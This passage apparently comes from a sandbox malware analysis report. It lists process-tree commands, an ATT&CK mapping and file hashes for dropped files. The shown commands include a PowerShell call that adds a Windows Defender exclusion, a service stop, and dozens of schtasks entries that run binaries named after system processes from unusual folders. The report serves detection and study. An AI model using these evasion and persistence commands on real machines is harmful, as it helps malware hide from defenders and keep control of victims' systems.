
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
6⤵
PID:3128

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TaskSc
1⤵
PID:3764

C:\ProgramData\AnyDesk\AnyDesk.exe
"C:\ProgramData\AnyDesk\AnyDesk.exe" --service
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Windows\DigitalLocker\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\DigitalLocker\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Windows\DigitalLocker\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\DESIGNER\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Common Files\DESIGNER\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\DESIGNER\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 6 /tr "'C:\runtimeMonitor\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\runtimeMonitor\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\runtimeMonitor\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\odt\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4724

C:\ProgramData\AnyDesk\AnyDesk.exe
"C:\ProgramData\AnyDesk\AnyDesk.exe" --control
1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\odt\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\odt\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\odt\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4744

C:\ProgramData\AnyDesk\AnyDesk.exe
C:\ProgramData\AnyDesk\anydesk.exe --get-id
2⤵
PID:2308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\odt\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\odt\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Default User\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Windows\Globalization\Sorting\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Windows\Globalization\Sorting\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Windows\Globalization\Sorting\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\de-DE\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\de-DE\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Media Player\fr-FR\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Internet Explorer\de-DE\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\fr-FR\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Media Player\fr-FR\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Default\SendTo\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default\SendTo\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Default\SendTo\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\odt\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\odt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\odt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ComdriverSvcC" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\My Documents\ComdriverSvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ComdriverSvc" /sc ONLOGON /tr "'C:\Users\Admin\My Documents\ComdriverSvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ComdriverSvcC" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\My Documents\ComdriverSvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "timeoutt" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows NT\Accessories\timeout.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "timeoutt" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows NT\Accessories\timeout.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "timeout" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\timeout.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\Users\Default\SendTo\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Windows\Containers\serviced\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Windows\Containers\serviced\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\Containers\serviced\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Default\SendTo\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\Users\Default\SendTo\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\runtimeMonitor\explorer.exe'" /f
1⤵
- Creates scheduled task(s)
PID:5244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\runtimeMonitor\explorer.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:1348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\runtimeMonitor\explorer.exe'" /rl HIGHEST /f
1⤵
PID:5432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
1⤵
PID:1188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 12 /tr "'C:\odt\WmiPrvSE.exe'" /f
1⤵
PID:3160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\odt\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\fontdrvhost.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:3308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:1100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 14 /tr "'C:\odt\sihost.exe'" /f
1⤵
PID:2640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 11 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\WmiPrvSE.exe'" /f
1⤵
- Creates scheduled task(s)
PID:4136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
PID:1952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:3348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files\7-Zip\Lang\smss.exe'" /rl HIGHEST /f
1⤵
PID:2872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\smss.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Program Files\7-Zip\Lang\smss.exe'" /f
1⤵
- Creates scheduled task(s)
PID:1260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\odt\sihost.exe'" /rl HIGHEST /f
1⤵
PID:1528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\odt\sihost.exe'" /rl HIGHEST /f
1⤵
PID:4512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\odt\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:5064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\MSBuild\dllhost.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\dllhost.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\MSBuild\dllhost.exe'" /f
1⤵
- Creates scheduled task(s)
PID:5444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
1⤵
PID:5132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\odt\RuntimeBroker.exe'" /f
1⤵
- Creates scheduled task(s)
PID:5072

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4884

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Winlogon Helper DLL

T1004

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Process Discovery

T1057

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\1.exe
Filesize
775KB

MD5
0442a8479aa5f19dd5a64ddfd677b9f8

SHA1
fa003104e8e8e6646049a49bd517224ba34ac4b6

SHA256
5161a16217b9d8b9817ad1f6e1020e2eb625bbd6ccf82fbf9423077d0c966aa0

SHA512
51ddbff08b54bbafd365e71432697bea5a3eb49bd87dafd477a059f59e1f2f2eaa8e465abda8499745a9a81c6e10a5c44a9a255d51d79d5e8a7b7c25709abe42

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\service.conf
Filesize
2KB

MD5
e85af4a5bda7ade771574e61e2b469a7

SHA1
17d80e2d0c6eadc4c42a6c1bde56e22d5a034b77

SHA256
48df3dabc9a9a309346ff59bf6cd805eaadca01de812854eb7724fd199f6015e

SHA512
df09ce104cb3972d7141e170188a6e58113d654139ccfbee6c59d23c6e5482843b9cce26be44dd6937b09a78fcaf70891ab64df7457158ba5b30f9e4ad7e77f9

Download Submit
C:\ProgramData\AnyDesk\service.conf
Filesize
2KB

MD5
b88d32215d94872d030664f5e0452b13

SHA1
a916f62711e7ab63be04bb6148fbf179101cc24c

SHA256
4b5e35564d825265d210f5f471f85ae3989c42cb67f09344ebbe1b2333f51794

SHA512
383a0e47f043f7c1013b2a1eff31ebd56fdb41103c8a2034a54856b4f38c65d6954ab43dbdc02d4f306a400b9e8adedde35b40706ceefcd65225ce031af8e9f6

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
370B

MD5
02007e8a4512be68f065b12eee973472

SHA1
d17d3e0c98aff269a9870d55b5afa60f5479482e

SHA256
6f547d7f0f917b5ab8b17e5d869db812bcd788602a922a004610c3e036271a21

SHA512
472ac8f53b3b0d5d549fcf3da53437a7d8c3fdec235a588569487e02da02b03ef153879c1a590b2abaab7d8355568c4ea2e6df1308c1379fe08f34859157d372

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
4a5bdc38e6e3b5a8f48ce637c154d73a

SHA1
95679a3f182087a904845900c25646aab1bc39a1

SHA256
4c025d4379db5f4021b804ef2739c22a4808241b9121c6591dfdb44c37cf98ad

SHA512
62eb2ca6c296c84ad820ce52874a24d70e712ffdc80564cdd7d8f5874f74a0e3b72df7476ceca4a2d25f23a47afca3f946a1351264503c0e92769ae17abaf5fe

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
4a5bdc38e6e3b5a8f48ce637c154d73a

SHA1
95679a3f182087a904845900c25646aab1bc39a1

SHA256
4c025d4379db5f4021b804ef2739c22a4808241b9121c6591dfdb44c37cf98ad

SHA512
62eb2ca6c296c84ad820ce52874a24d70e712ffdc80564cdd7d8f5874f74a0e3b72df7476ceca4a2d25f23a47afca3f946a1351264503c0e92769ae17abaf5fe

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
4a5bdc38e6e3b5a8f48ce637c154d73a

SHA1
95679a3f182087a904845900c25646aab1bc39a1

SHA256
4c025d4379db5f4021b804ef2739c22a4808241b9121c6591dfdb44c37cf98ad

SHA512
62eb2ca6c296c84ad820ce52874a24d70e712ffdc80564cdd7d8f5874f74a0e3b72df7476ceca4a2d25f23a47afca3f946a1351264503c0e92769ae17abaf5fe

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
691B

MD5
b503caa70507564ffd61da9250d88672

SHA1
da2f4267d125219ecf3388e84641939c68d5a83f

SHA256
fe519cc19217d42ae6f683fab865e37127d555ed7d416d0c13441145d7da0bb2

SHA512
b40087c2d102a56b9221fcc595d8251cf15fec04624333d7b3e62a6b8a7f98186bd12d12da289b575d10192bdccc6ee61d56b511e6f35dd1137ac0ee06c67936

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
691B

MD5
b503caa70507564ffd61da9250d88672

SHA1
da2f4267d125219ecf3388e84641939c68d5a83f

SHA256
fe519cc19217d42ae6f683fab865e37127d555ed7d416d0c13441145d7da0bb2

SHA512
b40087c2d102a56b9221fcc595d8251cf15fec04624333d7b3e62a6b8a7f98186bd12d12da289b575d10192bdccc6ee61d56b511e6f35dd1137ac0ee06c67936

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
691B

MD5
b503caa70507564ffd61da9250d88672

SHA1
da2f4267d125219ecf3388e84641939c68d5a83f

SHA256
fe519cc19217d42ae6f683fab865e37127d555ed7d416d0c13441145d7da0bb2

SHA512
b40087c2d102a56b9221fcc595d8251cf15fec04624333d7b3e62a6b8a7f98186bd12d12da289b575d10192bdccc6ee61d56b511e6f35dd1137ac0ee06c67936

Download Submit
C:\ProgramData\any.exe
Filesize
6.1MB

MD5
83834462455be62ccf135f3137263119

SHA1
f23d183db2adf37e80469191c7d452e8d39935b6

SHA256
